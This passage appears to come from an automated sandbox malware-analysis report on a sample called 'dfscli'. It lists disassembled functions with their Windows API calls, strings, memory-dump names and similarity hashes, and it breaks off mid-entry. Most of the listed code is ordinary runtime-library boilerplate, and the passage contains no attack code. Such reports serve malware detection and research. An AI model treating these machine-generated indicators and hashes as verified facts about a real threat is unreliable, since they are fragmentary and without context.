GetProcAddress.KERNEL32(00000000,GetSystemMetrics), ref: 00405037
GetProcAddress.KERNEL32(00000000,MonitorFromWindow), ref: 00405048
GetProcAddress.KERNEL32(00000000,MonitorFromRect), ref: 00405059
GetProcAddress.KERNEL32(00000000,MonitorFromPoint), ref: 0040506A
GetProcAddress.KERNEL32(00000000,EnumDisplayMonitors), ref: 0040507B
GetProcAddress.KERNEL32(00000000,GetMonitorInfoA), ref: 0040508C
GetProcAddress.KERNEL32(00000000,EnumDisplayDevicesA), ref: 0040509D

Strings

EnumDisplayDevicesA, xrefs: 00405097
GetMonitorInfoA, xrefs: 00405086
MonitorFromWindow, xrefs: 00405042
GetSystemMetrics, xrefs: 00405031
`#vp,$v, xrefs: 0040501B
EnumDisplayMonitors, xrefs: 00405075
MonitorFromPoint, xrefs: 00405064
USER32, xrefs: 00405011
MonitorFromRect, xrefs: 00405053

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: EnumDisplayDevicesA$EnumDisplayMonitors$GetMonitorInfoA$GetSystemMetrics$MonitorFromPoint$MonitorFromRect$MonitorFromWindow$USER32$`#vp,$v
API String ID: 667068680-2614843311
Opcode ID: 5547913a3e14e16a07a1123cd0d9303ef4187e5ce9ad497fcc0af7a3a5c74f0c
Instruction ID: a51757c319cfb8603869d02164866bf9d90346e9d9b4ab7557ddca89ad350173
Opcode Fuzzy Hash: 5547913a3e14e16a07a1123cd0d9303ef4187e5ce9ad497fcc0af7a3a5c74f0c
Instruction Fuzzy Hash: AD215E74A026179AE321AF27BDC452EBAF4F6487403E4543FD404E22D0D73954868F9E

Function 00412421 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 115fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,00000000,00000000), ref: 004124A2
_strcat.LIBCMT ref: 004124B5
_strlen.LIBCMT ref: 004124C2
_strlen.LIBCMT ref: 004124D1
_strncpy.LIBCMT ref: 004124E8
_strlen.LIBCMT ref: 004124F1
_strlen.LIBCMT ref: 004124FE
_strcat.LIBCMT ref: 0041251C
_strlen.LIBCMT ref: 00412564
GetStdHandle.KERNEL32(000000F4,00431F70,00000000,?,00000000,00000000,00000000,00000000), ref: 0041256F
WriteFile.KERNEL32(00000000), ref: 00412576

Strings

Microsoft Visual C++ Runtime Library, xrefs: 00412544
Runtime Error!Program: , xrefs: 00412516
..., xrefs: 004124E2
<program name unknown>, xrefs: 004124AF

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: _strlen$File_strcat$HandleModuleNameWrite_strncpy
String ID: ...$<program name unknown>$Microsoft Visual C++ Runtime Library$Runtime Error!Program:
API String ID: 3601721357-4022980321
Opcode ID: 33eba8a56c94104930c01ea856345e6cd8f8d6e67629feebce46de6d582aadf8
Instruction ID: 13021548b91ef27835def0d839a72f5b902c9013898fcf24966e2a0fbd176725
Opcode Fuzzy Hash: 33eba8a56c94104930c01ea856345e6cd8f8d6e67629feebce46de6d582aadf8
Instruction Fuzzy Hash: 1B317B72640114ABDB24ABB9DCC1FEB3369EB44318F10082FF555E3192DE7CA4A5872C

Function 00412E75 Relevance: 24.6, APIs: 7, Strings: 7, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,004321C0,00000118,0040EA00,00000001,00000000,00431A80,00000008,0041258D,00000000,00000000,00000000), ref: 00412EF6
_strcat.LIBCMT ref: 00412F0C
_strlen.LIBCMT ref: 00412F1C
_strlen.LIBCMT ref: 00412F2D
_strncpy.LIBCMT ref: 00412F47
_strlen.LIBCMT ref: 00412F50
_strcat.LIBCMT ref: 00412F6C

Strings

Buffer overrun detected!, xrefs: 00412ED2, 00412F6A
Program: , xrefs: 00412F7D
Microsoft Visual C++ Runtime Library, xrefs: 00412FA7
..., xrefs: 00412F41
<program name unknown>, xrefs: 00412F00
( C, xrefs: 00412ED7
Unknown security failure detected!, xrefs: 00412EBC

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: _strlen$_strcat$FileModuleName_strncpy
String ID: ( C$...$<program name unknown>$Buffer overrun detected!$Microsoft Visual C++ Runtime Library$Program: $Unknown security failure detected!
API String ID: 3058806289-1906809315
Opcode ID: 54b1497dfd563ac8debf3ed2c16c48730149fe1c51b89dfeef04513612d6689f
Instruction ID: dc0b60b2e2fa07aa48be410cc1825f31972f92912820f319277543dbe6ba90b6
Opcode Fuzzy Hash: 54b1497dfd563ac8debf3ed2c16c48730149fe1c51b89dfeef04513612d6689f
Instruction Fuzzy Hash: 2931EC719012146BDB11AB61AD82ECE3668DF0A324F10046FF114F72D2DBBCDA954BAD

Function 00411F5D Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 71libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,76230A60,00000000,0040E8F2,?,00431A70,00000060), ref: 00411F75
GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00411F8D
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00411F9A
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00411FA7
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00411FB4
FlsAlloc.KERNEL32(00411E16,?,00431A70,00000060), ref: 00411FF1
FlsSetValue.KERNEL32(00000000,?,00431A70,00000060), ref: 0041201E
GetCurrentThreadId.KERNEL32 ref: 00412032

Part of subcall function 00411D88: FlsFree.KERNEL32(00000006,00412047,?,00431A70,00000060), ref: 00411D93

Strings

FlsSetValue, xrefs: 00411F9C
FlsGetValue, xrefs: 00411F8F
kernel32.dll, xrefs: 00411F70
`#vp,$v, xrefs: 00411F75
FlsAlloc, xrefs: 00411F87
FlsFree, xrefs: 00411FA9

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: AddressProc$AllocCurrentFreeHandleModuleThreadValue
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$`#vp,$v$kernel32.dll
API String ID: 2355849793-3083462466
Opcode ID: 87445edb743fa6b159021db6ff6499874027bb5d5b45ed15fee1da4cd6f863fa
Instruction ID: 94756841155c4855af9acbccb37cf424809e5c19bd57a04feacf727f30d0ec92
Opcode Fuzzy Hash: 87445edb743fa6b159021db6ff6499874027bb5d5b45ed15fee1da4cd6f863fa
Instruction Fuzzy Hash: 8E219270E01B109BD7209F36AC0AE567EE4EB94761710523BF400C22B0EB789887CF5C

Function 0040D23B Relevance: 22.9, APIs: 15, Instructions: 359windowkeyboardCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0040D240
GetFocus.USER32 ref: 0040D269
GetParent.USER32(?), ref: 0040D2BE
GetParent.USER32(?), ref: 0040D2CE
GetKeyState.USER32(00000012), ref: 0040D386
IsDialogMessageA.USER32(?,?,?,?,?,00000000), ref: 0040D435
GetFocus.USER32 ref: 0040D447
GetFocus.USER32 ref: 0040D454

Part of subcall function 004043DD: GetNextDlgTabItem.USER32(?,?,?), ref: 004043F0

IsWindow.USER32(?), ref: 0040D46C
GetFocus.USER32 ref: 0040D478
IsWindow.USER32(?), ref: 0040D48E
GetFocus.USER32 ref: 0040D494
GetKeyState.USER32(00000010), ref: 0040D4C5
MessageBeep.USER32(00000000), ref: 0040D5BC
SendMessageA.USER32(?,000000F1,00000001,00000000), ref: 0040D6A3

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Focus$Message$ParentStateWindow$BeepDialogH_prologItemNextSend
String ID:
API String ID: 2999224188-0
Opcode ID: 3f0161c52a8131cff4d874affb24284938a97bd9b6013c2c61ed968d9b0ac3a0
Instruction ID: 35367725a961e0762c2cabb331062711e07683ca912c259f6d9a903d8a3fc05f
Opcode Fuzzy Hash: 3f0161c52a8131cff4d874affb24284938a97bd9b6013c2c61ed968d9b0ac3a0
Instruction Fuzzy Hash: 07C19030E002159BDF20AFA5C885ABFBBB5AF54354F54443BE805B72D1C73DAC89CA5A

Function 00416BA3 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 90libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(user32.dll,00431FC0,?,?), ref: 00416BBB
GetProcAddress.KERNEL32(00000000,MessageBoxA), ref: 00416BD7
GetProcAddress.KERNEL32(00000000,GetActiveWindow), ref: 00416BE8
GetProcAddress.KERNEL32(00000000,GetLastActivePopup), ref: 00416BF5
GetProcAddress.KERNEL32(00000000,GetUserObjectInformationA), ref: 00416C0B
GetProcAddress.KERNEL32(00000000,GetProcessWindowStation), ref: 00416C1C

Strings

GetProcessWindowStation, xrefs: 00416C16
GetLastActivePopup, xrefs: 00416BEA
MessageBoxA, xrefs: 00416BD1
user32.dll, xrefs: 00416BB6
GetUserObjectInformationA, xrefs: 00416C05
GetActiveWindow, xrefs: 00416BE2

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: GetActiveWindow$GetLastActivePopup$GetProcessWindowStation$GetUserObjectInformationA$MessageBoxA$user32.dll
API String ID: 2238633743-1612076079
Opcode ID: 9e327152f9d207da8eb992561a812df92acea30e061754a633c313ec85e84a5e
Instruction ID: 84e52e513d7d4be0df6fc3aa4f30dfd75f48eeac0b79a234e46bab85f2138aa6
Opcode Fuzzy Hash: 9e327152f9d207da8eb992561a812df92acea30e061754a633c313ec85e84a5e
Instruction Fuzzy Hash: CA21A7B1A00306ABDB249F659E85FBB3BECDB48740B15103AE945C2250F778D984D7AD

Function 0042B969 Relevance: 19.9, APIs: 13, Instructions: 395stringCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0042B96E
lstrlenA.KERNEL32(?,?,?), ref: 0042B9A8
VariantClear.OLEAUT32(?), ref: 0042BC3B
VariantClear.OLEAUT32(?), ref: 0042BC62
SysFreeString.OLEAUT32(?), ref: 0042BCC6
SysFreeString.OLEAUT32(?), ref: 0042BCDB
SysFreeString.OLEAUT32(?), ref: 0042BCF0
VariantChangeType.OLEAUT32(?,?,00000000,?), ref: 0042BD28
VariantClear.OLEAUT32(?), ref: 0042BD38

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Variant$ClearFreeString$ChangeH_prologTypelstrlen
String ID:
API String ID: 344392101-0
Opcode ID: 089186b2475cb69903ae3bdd73d4d94893396a00b302e6d1bc5308c4256f1ad2
Instruction ID: 7c280d155deaacb0d062ce9fde7c5bc633f2178c496f6d30549a061dd8c1b599
Opcode Fuzzy Hash: 089186b2475cb69903ae3bdd73d4d94893396a00b302e6d1bc5308c4256f1ad2
Instruction Fuzzy Hash: 59E1AE71A00219DFDF10DFA9E880AEEBBB5FF05300F54442AE951A7250D738AD52CFA9

Function 0042166B Relevance: 19.7, APIs: 13, Instructions: 174windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00423CEB: GetWindowLongA.USER32(?,000000F0), ref: 00423CF6

GetParent.USER32(?), ref: 00421696
SendMessageA.USER32(00000000,0000036B,00000000,00000000), ref: 004216B9
GetWindowRect.USER32(?,?), ref: 004216D2
GetWindowLongA.USER32(00000000,000000F0), ref: 004216E5
CopyRect.USER32(?,?), ref: 00421732
CopyRect.USER32(?,?), ref: 0042173C
GetWindowRect.USER32(00000000,?), ref: 00421745
CopyRect.USER32(?,?), ref: 00421761

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Rect$Window$Copy$Long$MessageParentSend
String ID:
API String ID: 808654186-0
Opcode ID: 543d3be195253b833f47fdbe98b0e5ceab59b1d8d68aa360d95ee6028cc7d4e0
Instruction ID: ef626137246b3df9443168ea5854a1867bc10e0d27b41f31f247ff74b2751243
Opcode Fuzzy Hash: 543d3be195253b833f47fdbe98b0e5ceab59b1d8d68aa360d95ee6028cc7d4e0
Instruction Fuzzy Hash: CB518471B00219AFDB10DBA9DD85FEEBBB9AF94314F590126F501F3290D638E9068B58

Function 0040E812 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32(?,00431A70,00000060), ref: 0040E832
GetModuleHandleA.KERNEL32(00000000,?,00431A70,00000060), ref: 0040E885
_fast_error_exit.LIBCMT ref: 0040E8E7
_fast_error_exit.LIBCMT ref: 0040E8F8
GetCommandLineA.KERNEL32(?,00431A70,00000060), ref: 0040E917
GetStartupInfoA.KERNEL32(?), ref: 0040E96B
__wincmdln.LIBCMT ref: 0040E971
GetModuleHandleA.KERNEL32(00000000,00000000,?,0000000A), ref: 0040E98E

Strings

P5`, xrefs: 0040E91D
`#vp,$v, xrefs: 0040E87F

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: HandleModule_fast_error_exit$CommandInfoLineStartupVersion__wincmdln
String ID: P5`$`#vp,$v
API String ID: 3897392166-2176719703
Opcode ID: e1bf0c6c10a35e2feaa378b61d2a2dbd1c9d61abde69f1a15ddcab38a1182d4c
Instruction ID: 0bc8d0c747b5be90a239dc1f6fd12c79bdb3a1e517c7b53da2822559ab0157a6
Opcode Fuzzy Hash: e1bf0c6c10a35e2feaa378b61d2a2dbd1c9d61abde69f1a15ddcab38a1182d4c
Instruction Fuzzy Hash: E241B0B1D002109ADB20BF739D456AE77B0AF44718F24883FE415FB2D2DA7C88928B5D

Function 00415212 Relevance: 16.8, APIs: 11, Instructions: 299COMMONLIBRARYCODE

Download Yara Rule

APIs

LCMapStringW.KERNEL32(00000000,00000100,004322C4,00000001,00000000,00000000,004322C8,00000038,0040FB6E,00000100,00000020,00000100,?,00000100,00000000,00000001), ref: 00415239
GetLastError.KERNEL32 ref: 0041524B
MultiByteToWideChar.KERNEL32(?,00000000,0040FE1B,?,00000000,00000000,004322C8,00000038,0040FB6E,00000100,00000020,00000100,?,00000100,00000000,00000001), ref: 004152D2
MultiByteToWideChar.KERNEL32(?,00000001,0040FE1B,?,?,00000000), ref: 00415353
LCMapStringW.KERNEL32(00000000,00000000,?,00000000,00000000,00000000), ref: 0041536D
LCMapStringW.KERNEL32(00000000,00000000,?,00000000,?,?), ref: 004153A8

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: String$ByteCharMultiWide$ErrorLast
String ID:
API String ID: 1775797328-0
Opcode ID: 144a4794a36e381682c1608e6ad5055cd70a4332a4d33170656413dfc46b285a
Instruction ID: 5d6a1a971d9631bc273ea7c0213d5fa4ae4f756ba9487c2342617ad8996632df
Opcode Fuzzy Hash: 144a4794a36e381682c1608e6ad5055cd70a4332a4d33170656413dfc46b285a
Instruction Fuzzy Hash: 26B1AD72800509EFCF119FA1DC859EE7BB6FF48318F14452AF911A22A0D33989A1DF69

Function 0042056E Relevance: 16.6, APIs: 11, Instructions: 120COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00420573
FindResourceA.KERNEL32(?,00000000,00000005), ref: 004205AB
LoadResource.KERNEL32(?,00000000,?,?,?,?,?,?,?,00000064,00000000), ref: 004205B3

Part of subcall function 00421E24: UnhookWindowsHookEx.USER32(?), ref: 00421E49

LockResource.KERNEL32(00000000,?,?,?,?,?,?,?,00000064,00000000), ref: 004205C5
GetDesktopWindow.USER32 ref: 004205F2
IsWindowEnabled.USER32(00000000), ref: 00420600
EnableWindow.USER32(00000000,00000000), ref: 0042060F
EnableWindow.USER32(00000000,00000001), ref: 0042069E
GetActiveWindow.USER32 ref: 004206A9
SetActiveWindow.USER32(00000000,?,?,?,?,?,?,?,?,00000064,00000000), ref: 004206B7
FreeResource.KERNEL32(00000000,?,?,?,?,?,?,?,?,00000064,00000000), ref: 004206D3

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Window$Resource$ActiveEnable$DesktopEnabledFindFreeH_prologHookLoadLockUnhookWindows
String ID:
API String ID: 833315621-0
Opcode ID: 9c049424f7e73ca1598ba7117b6125b43015b5989c775a291803d269f1ce4c2f
Instruction ID: dca9b540c62fcd184cdbaef0817d1578ed90b02519734c6228dfb65e1cce7a9d
Opcode Fuzzy Hash: 9c049424f7e73ca1598ba7117b6125b43015b5989c775a291803d269f1ce4c2f
Instruction Fuzzy Hash: 79418331B00325DFDB21AFA5E84976EBBF5AF44715F90042EE501B2292CB785942CA6D

Function 00422CF8 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00422CFD
GetPropA.USER32(?,AfxOldWndProc423), ref: 00422D15
CallWindowProcA.USER32(?,?,00000110,?,00000000), ref: 00422D73

Part of subcall function 004222C8: GetWindowRect.USER32(?,004223EA), ref: 004222ED
Part of subcall function 004222C8: GetWindow.USER32(?,00000004), ref: 0042230A

SetWindowLongA.USER32(?,000000FC,?), ref: 00422DA3
RemovePropA.USER32(?,AfxOldWndProc423), ref: 00422DAB
GlobalFindAtomA.KERNEL32(AfxOldWndProc423), ref: 00422DB2
GlobalDeleteAtom.KERNEL32(00000000), ref: 00422DB9

Part of subcall function 00421338: GetWindowRect.USER32(?,?), ref: 00421344

CallWindowProcA.USER32(?,?,?,?,00000000), ref: 00422E0D

Strings

AfxOldWndProc423, xrefs: 00422D0E, 00422D13, 00422DA9, 00422DB1

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Window$AtomCallGlobalProcPropRect$DeleteFindH_prologLongRemove
String ID: AfxOldWndProc423
API String ID: 2397448395-1060338832
Opcode ID: 42f8192bdfa06c4a61062a92c3b8c52fd31b5a38a69e1511a4050e6997e842b7
Instruction ID: d0d5fd2a95d0caff163bc92c540bc67e825ba57d28d602554495161fd341ab14
Opcode Fuzzy Hash: 42f8192bdfa06c4a61062a92c3b8c52fd31b5a38a69e1511a4050e6997e842b7
Instruction Fuzzy Hash: D0319632A0012ABFDB11AFA5ED49DFF7F78EF09311F80052AF501A1161C7789912DBA9

Function 00421240 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 42libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(COMCTL32.DLL,00008000,00000000,00000400,00421C6F,?,00040000), ref: 00421249
LoadLibraryA.KERNEL32(COMCTL32.DLL), ref: 00421252
GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00421266
#17.COMCTL32 ref: 00421281
#17.COMCTL32 ref: 0042129D
FreeLibrary.KERNEL32(00000000), ref: 004212AA

Strings

COMCTL32.DLL, xrefs: 00421243, 00421248, 0042124F
`#vp,$v, xrefs: 00421249
InitCommonControlsEx, xrefs: 0042125E

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: Library$AddressFreeHandleLoadModuleProc
String ID: COMCTL32.DLL$InitCommonControlsEx$`#vp,$v
API String ID: 1437655972-2158789292
Opcode ID: e4adc865601357d86bd5e694327d93582044c89adc3814df3ac42751e02ffd74
Instruction ID: 95cf30dd8ce34ee92b00f566a42e8099b381b461292cc38c6bf4f8d75c531509
Opcode Fuzzy Hash: e4adc865601357d86bd5e694327d93582044c89adc3814df3ac42751e02ffd74
Instruction Fuzzy Hash: 9BF0A936B00222DB97215F66BD4861BB6ECAFA476175504B6F805F3330CB78DC06467D

Function 0042B672 Relevance: 15.2, APIs: 10, Instructions: 181memorystringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,00431060), ref: 0042B6FD

Part of subcall function 004059C0: MultiByteToWideChar.KERNEL32(?,00000000,?,000000FF,?,?), ref: 004059E2

SysAllocString.OLEAUT32(?), ref: 0042B729
lstrlenA.KERNEL32(?,00431060), ref: 0042B741
SysAllocString.OLEAUT32(00000000), ref: 0042B768
lstrlenA.KERNEL32(?,0000F108,?,00000100,004302DC,00431060), ref: 0042B7B6
SysAllocString.OLEAUT32(00000000), ref: 0042B7DF
lstrlenA.KERNEL32(?), ref: 0042B7FF
SysAllocString.OLEAUT32(00000000), ref: 0042B826
lstrlenA.KERNEL32(?), ref: 0042B84F
SysAllocString.OLEAUT32(00000000), ref: 0042B870

Memory Dump Source

Source File: 00000002.00000002.2116515588.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2116483087.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116539321.000000000042E000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043B000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116565364.000000000043F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2116987530.0000000000441000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_dfscli.jbxd

Similarity

API ID: AllocStringlstrlen$ByteCharMultiWide
String ID:
API String ID: 2903237683-0
Opcode ID: c0277fd87a20140d2149f3f34d2eb646c926a0dbb09a78b738232d21ded5d3b9
